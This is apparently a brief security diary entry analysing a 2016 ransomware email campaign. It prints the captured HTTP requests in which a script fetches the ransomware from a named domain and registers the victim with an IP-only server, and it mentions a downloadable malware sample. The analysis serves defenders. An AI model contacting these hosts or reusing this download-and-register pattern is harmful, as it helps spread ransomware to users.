Last Updated: 2016-08-30 13:42:35 UTC
by Johannes Ullrich (Version: 1)
Today's subject for the e-mail was "Transaction details". Once the user runs the script by double-clicking the file, it will download the actual crypto ransomware.
GET /2tn0o HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: onlybest76.xyz Connection: Keep-Alive
Just like earlier versions, it then "registers" the infected system with a website that is only identified by its IP address, so you will not see a DNS lookup for it:
POST /data/info.php HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://126.96.36.199/data/ x-requested-with: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Cache-Control: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 188.8.131.52 Content-Length: 942 Connection: Keep-Alive
[post data omitted]
Anti-Malware proves its usual value by doing probably slightly better than a blind chicken in protecting you from this malware. You can download a file with packet capture, mail server logs, and the malware sample here (password: "blind chicken" ).
Between 9am and 1:30pm UTC, I received 1425 e-mails that match this pattern.